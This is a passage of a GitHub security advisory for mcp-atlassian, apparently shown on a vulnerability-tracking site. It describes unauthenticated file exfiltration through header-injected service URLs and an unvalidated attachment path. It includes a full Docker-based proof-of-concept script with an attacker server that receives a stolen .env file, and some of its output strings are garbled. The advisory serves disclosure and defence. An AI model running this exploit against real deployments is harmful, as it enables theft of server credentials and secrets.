\"arguments\":{\"content_id\":\"123\",\n \"file_path\":\"/home/app/.env\"}}}\n```\n\n5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.\n\n**Expected result**\n\nThe attacker server logs and `/exfil` endpoint confirm receipt of the victim file:\n\n```\n[attacker] *** EXFILTRATED FILE CONTENT START ***\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n[attacker] *** EXFILTRATED FILE CONTENT END ***\n```\n\n**Phase 2 result**: PASS \u2014 file exfiltration confirmed via live Docker PoC.\n\n---\n\n### Impact\n\n**Vulnerability class**: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.\n\n**Who is impacted**:\n\n- **Operators** running `mcp-atlassian` in HTTP transport mode (`streamable-http` or `sse`) on a network-reachable endpoint with `READ_ONLY_MODE=false` (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.\n- **Users** whose secrets are stored on the server filesystem are at risk of credential theft \u2014 `.env` files, SSH private keys, cloud provider credentials (`~/.aws/credentials`), kubeconfig files, TLS certificates, and any other file readable by the process.\n\n**Constraints on exploitability**:\n\n- The server must be running in HTTP transport mode (not the default `stdio` mode).\n- `READ_ONLY_MODE` must not be set to `true`.\n- The attacker must be able to reach the `/mcp` endpoint (adjacent network or internet, depending on deployment).\n- The SSRF domain allowlist (`MCP_ALLOWED_URL_DOMAINS`) must permit the attacker\u0027s hostname, or the attacker must control a public domain that passes the IP blocklist check.\n\nDespite these preconditions, all are met in documented production deployment configurations described in the project\u0027s own README and Helm chart.\n\n---\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Victim Image\n# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)\n# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.\n\nFROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder\n\nWORKDIR /app\nENV UV_COMPILE_BYTECODE=1\nENV UV_LINK_MODE=copy\n\n# Copy dependency files\nCOPY pyproject.toml README.md uv.lock ./\n\n# Install dependencies (without the project itself to leverage caching)\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-install-project --no-dev --no-editable\n\n# Copy source and install the project\nCOPY src ./src\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-dev --no-editable\n\n# Strip bytecode cache to reduce image size\nRUN find /app/.venv -name \u0027__pycache__\u0027 -type d -exec rm -rf {} + 2\u003e/dev/null || true \u0026\u0026 \\\n find /app/.venv -name \u0027*.pyc\u0027 -delete 2\u003e/dev/null || true\n\n# \u2500\u2500 Final Stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.13-alpine\n\n# Create non-root user mirroring a typical prod deployment\nRUN adduser -D -h /home/app -s /bin/sh app\n\n# Plant a sensitive file that the PoC will exfiltrate\nRUN printf \u0027SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\\n\u0027 \u003e /home/app/.env \u0026\u0026 \\\n printf \u0027DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n printf \u0027AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n chown app:app /home/app/.env\n\nWORKDIR /app\nUSER app\n\nCOPY --from=builder --chown=app:app /app/.venv /app/.venv\n\nENV PATH=\"/app/.venv/bin:$PATH\"\nENV PYTHONUNBUFFERED=1\n\n# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)\nENTRYPOINT [\"mcp-atlassian\"]\nCMD [\"--transport\", \"streamable-http\", \"--port\", \"8000\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 MCP HTTP Client: Server-Local File Exfiltration via\nUnvalidated Attachment Upload Path (CWE-200, CVSS 7.4)\n\nAttack chain:\n 1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers \u2014 no\n Authorization header required (unauthenticated PAT path, main.py:584-595).\n 2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker\n container hostname, bypassing DNS validation (urls.py:107-111).\n 3. ConfluenceFetcher is constructed with the attacker-controlled URL\n (dependencies.py:544-545).\n 4. confluence_upload_attachment is called with file_path=/home/app/.env \u2014\n the path is absolutized but never validated against a safe root\n (attachments.py:64-79).\n 5. The file is opened and PUT-ed as multipart to the attacker server\n (attachments.py:477,490).\n\nUsage:\n python3 poc.py [--repo /path/to/repo] [--victim-port 18000]\n [--attacker-port 18888] [--no-cleanup]\n\nRequirements on the host running this script:\n - docker (CLI + daemon)\n - python3 with httpx (pip install httpx)\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nDEFAULT_REPO = os.path.join(\n os.path.dirname(SCRIPT_DIR), \"repo\"\n)\nDOCKERFILE_PATH = os.path.join(SCRIPT_DIR, \"Dockerfile\")\n\nNETWORK_NAME = \"poc-vuln001-net\"\nVICTIM_NAME = \"poc-vuln001-victim\"\nATTACKER_NAME = \"poc-vuln001-attacker\"\nVICTIM_IMAGE = \"mcp-atlassian-vuln001\"\nATTACKER_IMAGE = \"python:3.12-slim\"\n\nTARGET_FILE = \"/home/app/.env\" # sensitive file planted in the victim image\n\n# \u2500\u2500 attacker server source (injected into the attacker container) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nATTACKER_SERVER_SRC = textwrap.dedent(r\"\"\"\nimport http.server, json, re, sys, threading\n\n_exfil = [] # captured files\n\nclass H(http.server.BaseHTTPRequestHandler):\n def log_message(self, fmt, *a):\n print(f\"[attacker-http] {fmt % a}\", flush=True)\n\n # Confluence auth probe \u2014 return a minimal valid user object\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n if self.path.rstrip(\"/\") == \"/exfil\":\n self.wfile.write(json.dumps({\"files\": _exfil}).encode())\n elif self.path.rstrip(\"/\") == \"/ready\":\n self.wfile.write(b\u0027{\"status\":\"ok\"}\u0027)\n else:\n self.wfile.write(json.dumps({\n \"key\": \"attacker-user\", \"displayName\": \"Attacker\",\n \"emailAddress\": \"attacker@evil.example\", \"active\": True,\n \"accountType\": \"atlassian\"\n }).encode())\n\n def do_PUT(self): self._recv()\n def do_POST(self): self._recv()\n\n def _recv(self):\n cl = int(self.headers.get(\"Content-Length\", 0))\n body = self.rfile.read(cl) if cl else b\"\"\n ct = self.headers.get(\"Content-Type\", \"\")\n print(f\"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}\", flush=True)\n\n file_data = b\"\"\n if \"multipart\" in ct and body:\n bm = re.search(r\"boundary[=\\s]+([\\w\\-]+)\", ct)\n if bm:\n boundary = bm.group(1).encode()\n for part in body.split(b\"--\" + boundary):\n if b\"\\r\\n\\r\\n\" not in part:\n continue\n hdr, _, data = part.partition(b\"\\r\\n\\r\\n\")\n if b\u0027name=\"file\"\u0027 in hdr or b\"filename\" in hdr:\n file_data = data.rstrip(b\"\\r\\n--\")\n break\n\n if file_data:\n text = file_data.decode(errors=\"replace\")\n print(\"[attacker] *** EXFILTRATED FILE CONTENT START ***\", flush=True)\n print(text[:4096], flush=True)\n print(\"[attacker] *** EXFILTRATED FILE CONTENT END ***\", flush=True)\n _exfil.append({\"path\": self.path, \"content\": text[:4096], \"size\": len(file_data)})\n else:\n print(\"[attacker] WARNING: no file data found in request\", flush=True)\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\n \"results\": [{\n \"id\": \"att-001\", \"type\": \"attachment\", \"title\": \"exfiltrated\",\n \"metadata\": {\"mediaType\": \"text/plain\"},\n \"extensions\": {\"fileSize\": len(file_data)}\n }]\n }).encode())\n\nserver = http.server.HTTPServer((\"0.0.0.0\", 8888), H)\nprint(\"[attacker] listening on 0.0.0.0:8888\", flush=True)\nsys.stdout.flush()\nserver.serve_forever()\n\"\"\").strip()\n\n\n# \u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: str, **kw):\n r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)\n return r.returncode, r.stdout, r.stderr\n\n\ndef run_ok(cmd: str, label: str = \"\") -\u003e str:\n rc, out, err = run(cmd)\n if rc != 0:\n tag = f\" ({label})\" if label else \"\"\n print(f\"[FAIL] Command{tag} exited {rc}:\\n cmd: {cmd}\\n stdout: {out}\\n stderr: {err}\", file=sys.stderr)\n sys.exit(1)\n return out\n\n\ndef docker_logs(name: str) -\u003e str:\n _, out, err = run(f\"docker logs {name} 2\u003e\u00261\")\n return out + err\n\n\ndef wait_http(url: str, timeout: int = 60, interval: float = 1.5) -\u003e bool:\n import urllib.request\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(url, timeout=3) as r:\n if r.status \u003c 500:\n return True\n except Exception:\n pass\n time.sleep(interval)\n return False\n\n\ndef cleanup(victim_name: str, attacker_name: str, network: str):\n run(f\"docker rm -f {victim_name} {attacker_name} 2\u003e/dev/null\")\n run(f\"docker network rm {network} 2\u003e/dev/null\")\n\n\ndef parse_sse_result(text: str) -\u003e dict | None:\n \"\"\"Extract the first JSON-RPC result from an SSE or plain-JSON body.\"\"\"\n for line in text.splitlines():\n line = line.strip()\n if line.startswith(\"data:\"):\n payload = line[5:].strip()\n elif line.startswith(\"{\"):\n payload = line\n else:\n continue\n try:\n obj = json.loads(payload)\n if \"result\" in obj or \"error\" in obj:\n return obj\n except json.JSONDecodeError:\n continue\n return None\n\n\n# \u2500\u2500 MCP client (pure stdlib + httpx) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -\u003e dict:\n \"\"\"\n Drive the MCP streamable-http protocol to call confluence_upload_attachment\n with an arbitrary file_path.\n Returns a dict with keys: success, session_id, response_text, error.\n \"\"\"\n import httpx\n\n service_headers = {\n \"X-Atlassian-Confluence-Url\": attacker_container_url,\n \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n }\n base_headers = {\n **service_headers,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n with httpx.Client(timeout=30) as client:\n # \u2500\u2500 1. initialize \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\"[poc] Sending initialize to {victim_url}\")\n resp = client.post(victim_url, headers=base_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"initialize\", \"id\": 1,\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln001-poc\", \"version\": \"1.0\"},\n }\n })\n if resp.status_code not in (200, 201):\n return {\"success\": False, \"error\": f\"initialize failed: HTTP {resp.status_code}\\n{resp.text[:400]}\"}\n\n session_id = resp.headers.get(\"mcp-session-id\") or resp.headers.get(\"Mcp-Session-Id\")\n print(f\"[poc] Session-Id: {session_id}\")\n\n session_headers = {**base_headers}\n if session_id:\n session_headers[\"Mcp-Session-Id\"] = session_id\n\n # \u2500\u2500 2. notifications/initialized \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"\n })\n\n # \u2500\u2500 3. tools/list (optional, just for visibility) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n try:\n tl = client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"tools/list\", \"id\": 2, \"params\": {}\n })\n tools_obj = parse_sse_result(tl.text) or {}\n if \"result\" in tools_obj:\n names = [t[\"name\"] for t in tools_obj[\"result\"].get(\"tools\", [])]\n print(f\"[poc] Tools available: {names}\")\n if \"confluence_upload_attachment\" not in names:\n print(\"[poc] WARNING: confluence_upload_attachment not in tools/list \"\n \"(will still attempt tools/call)\")\n except Exception as e:\n print(f\"[poc] tools/list skipped: {e}\")\n\n # \u2500\u2500 4. tools/call \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\"[poc] Calling confluence_upload_attachment file_path={target_file}\")\n resp2 = client.post(victim_url, headers=session_headers, json={\n \"jsonrpc\": \"2.0\", \"method\": \"tools/call\", \"id\": 3,\n \"params\": {\n \"name\": \"confluence_upload_attachment\",\n \"arguments\": {\n \"content_id\": \"123\",\n \"file_path\": target_file,\n }\n }\n }, timeout=30)\n\n return {\n \"success\": True,\n \"session_id\": session_id,\n \"status_code\": resp2.status_code,\n \"response_text\": resp2.text[:2000],\n \"error\": None,\n }\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n ap = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n ap.add_argument(\"--repo\", default=DEFAULT_REPO)\n ap.add_argument(\"--victim-port\", type=int, default=18000)\n ap.add_argument(\"--attacker-port\", type=int, default=18888)\n ap.add_argument(\"--no-cleanup\", action=\"store_true\")\n args = ap.parse_args()\n\n repo_path = os.path.abspath(args.repo)\n victim_port = args.victim_port\n attacker_port = args.attacker_port\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC \u2014 MCP File Exfiltration via Attachment Upload\")\n print(\"=\" * 60)\n print(f\"Repo: {repo_path}\")\n print(f\"Dockerfile: {DOCKERFILE_PATH}\")\n print(f\"Victim port: {victim_port}\")\n print(f\"Attacker port: {attacker_port}\")\n print()\n\n # \u2500\u2500 0. pre-flight \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n\n # \u2500\u2500 1. build victim image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Building victim image (this may take a few minutes)...\")\n rc, out, err = run(\n f\"docker build --no-cache -t {VICTIM_IMAGE} \"\n f\"-f {DOCKERFILE_PATH} {repo_path}\"\n )\n if rc != 0:\n print(f\"[FAIL] docker build failed:\\n{err[-3000:]}\", file=sys.stderr)\n sys.exit(1)\n print(f\"[+] Victim image built: {VICTIM_IMAGE}\")\n\n # \u2500\u2500 2. create network \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Creating Docker network...\")\n run_ok(f\"docker network create {NETWORK_NAME}\", \"network create\")\n print(f\"[+] Network created: {NETWORK_NAME}\")\n\n try:\n # \u2500\u2500 3. start attacker container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Starting attacker HTTP server...\")\n attacker_code_escaped = ATTACKER_SERVER_SRC.replace(\"\u0027\", \"\u0027\\\"\u0027\\\"\u0027\")\n run_ok(\n f\"docker run -d \"\n f\"--network {NETWORK_NAME} \"\n f\"--name {ATTACKER_NAME} \"\n f\"-p {attacker_port}:8888 \"\n f\"{ATTACKER_IMAGE} \"\n f\"python3 -c \u0027{attacker_code_escaped}\u0027\",\n \"start attacker\"\n )\n\n if not wait_http(f\"http://127.0.0.1:{attacker_port}/ready\", timeout=30):\n print(\"[FAIL] Attacker server did not start in time\")\n print(docker_logs(ATTACKER_NAME))\n sys.exit(1)\n print(f\"[+] Attacker server ready on port {attacker_port}\")\n\n # \u2500\u2500 4. start victim container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[*] Starting victim MCP server...\")\n run_ok(\n f\"docker run -d \"\n f\"--network {NETWORK_NAME} \"\n f\"--name {VICTIM_NAME} \"\n f\"-p {victim_port}:8000 \"\n f\"-e TRANSPORT=streamable-http \"\n f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n f\"-e READ_ONLY_MODE=false \"\n f\"-e MCP_LOGGING_STDOUT=true \"\n f\"-e MCP_VERBOSE=true \"\n f\"{VICTIM_IMAGE} \"\n f\"--transport streamable-http --port 8000 --host 0.0.0.0\",\n \"start victim\"\n )\n\n print(\"[*] Waiting for victim MCP server to be ready...\")\n if not wait_http(f\"http://127.0.0.1:{victim_port}/healthz\", timeout=60):\n print(\"[FAIL] Victim server did not start in time\")\n print(docker_logs(VICTIM_NAME))\n sys.exit(1)\n print(f\"[+] Victim MCP server ready on port {victim_port}\")\n\n # \u2500\u2500 5. run the exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print()\n print(\"[*] Launching MCP exploit...\")\n victim_mcp_url = f\"http://127.0.0.1:{victim_port}/mcp\"\n attacker_container_url = f\"http://{ATTACKER_NAME}:8888\"\n\n result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)\n\n if not result[\"success\"]:\n print(f\"[FAIL] MCP exploit error: {result[\u0027error\u0027]}\")\n print(\"Victim logs:\\n\", docker_logs(VICTIM_NAME)[-2000:])\n sys.exit(1)\n\n print(f\"[poc] tools/call HTTP {result[\u0027status_code\u0027]}\")\n print(f\"[poc] Response:\\n{result[\u0027response_text\u0027]}\")\n\n # \u2500\u2500 6. verify exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n time.sleep(2)\n\n import urllib.request\n with urllib.request.urlopen(\n f\"http://127.0.0.1:{attacker_port}/exfil\", timeout=5\n ) as r:\n exfil_data = json.loads(r.read())\n\n attacker_raw_logs = docker_logs(ATTACKER_NAME)\n print()\n print(\"Attacker server logs:\")\n print(attacker_raw_logs[-4000:])\n\n files = exfil_data.get(\"files\", [])\n confirmed = bool(files) or (\n \"EXFILTRATED FILE CONTENT\" in attacker_raw_logs\n and \"SECRET_DEPLOY_KEY\" in attacker_raw_logs\n )\n\n evidence_snippet = \"\"\n if files:\n evidence_snippet = files[0].get(\"content\", \"\")[:500]\n elif \"EXFILTRATED FILE CONTENT START\" in attacker_raw_logs:\n start = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT START\") + len(\"EXFILTRATED FILE CONTENT START\") + 4\n end = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT END\", start)\n evidence_snippet = attacker_raw_logs[start:end].strip()[:500]\n\n print()\n if confirmed:\n print(\"[PASS] file leak confirmed \u2014 attacker servertext victim containertext sensitive filetext receivedtext.\")\n print(f\"[PASS] Evidence snippet:\\n{evidence_snippet}\")\n else:\n print(\"[FAIL] file leak evidencetext checktext text.\")\n print(\"attacker_logs:\", attacker_raw_logs[-1000:])\n\n # \u2500\u2500 7. write phase2_result.json \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n phase2 = {\n \"passed\": confirmed,\n \"verdict\": \"PASS\" if confirmed else \"FAIL\",\n \"reason\": (\n \"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas \"\n \"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext \"\n \"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. \"\n \"attachments.py:477 open(file_path,\u0027rb\u0027)text sensitive filetext text multipart PUT requesttext containsdone.\"\n if confirmed else\n \"attacker servertext file receivedtext checktext could not \u2014 logtext referenceand failure cause text required.\"\n ),\n \"build_command\": (\n f\"docker build -t {VICTIM_IMAGE} \"\n f\"-f {DOCKERFILE_PATH} {repo_path}\"\n ),\n \"run_command\": (\n f\"docker network create {NETWORK_NAME} \u0026\u0026 \"\n f\"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} \"\n f\"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c \u0027\u003cattacker_server_src\u003e\u0027 \u0026\u0026 \"\n f\"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} \"\n f\"-p {victim_port}:8000 \"\n f\"-e TRANSPORT=streamable-http \"\n f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n f\"-e READ_ONLY_MODE=false \"\n f\"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0\"\n ),\n \"poc_command\": (\n f\"python3 {os.path.basename(__file__)} \"\n f\"--repo {repo_path} \"\n f\"--victim-port {victim_port} \"\n f\"--attacker-port {attacker_port}\"\n ),\n \"evidence\": evidence_snippet or attacker_raw_logs[-500:],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n\n result_path = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n with open(result_path, \"w\") as f:\n json.dump(phase2, f, indent=2, ensure_ascii=False)\n print(f\"\\n[*] phase2_result.json written: {result_path}\")\n\n finally:\n if not args.no_cleanup:\n print(\"[*] Cleaning up containers and network...\")\n cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n print(\"[*] Cleanup done.\")\n else:\n print(f\"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})\")\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-wv8v-v4c5-v75j",
"modified": "2026-09-22T20:34:45Z",
"published": "2026-09-22T20:34:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.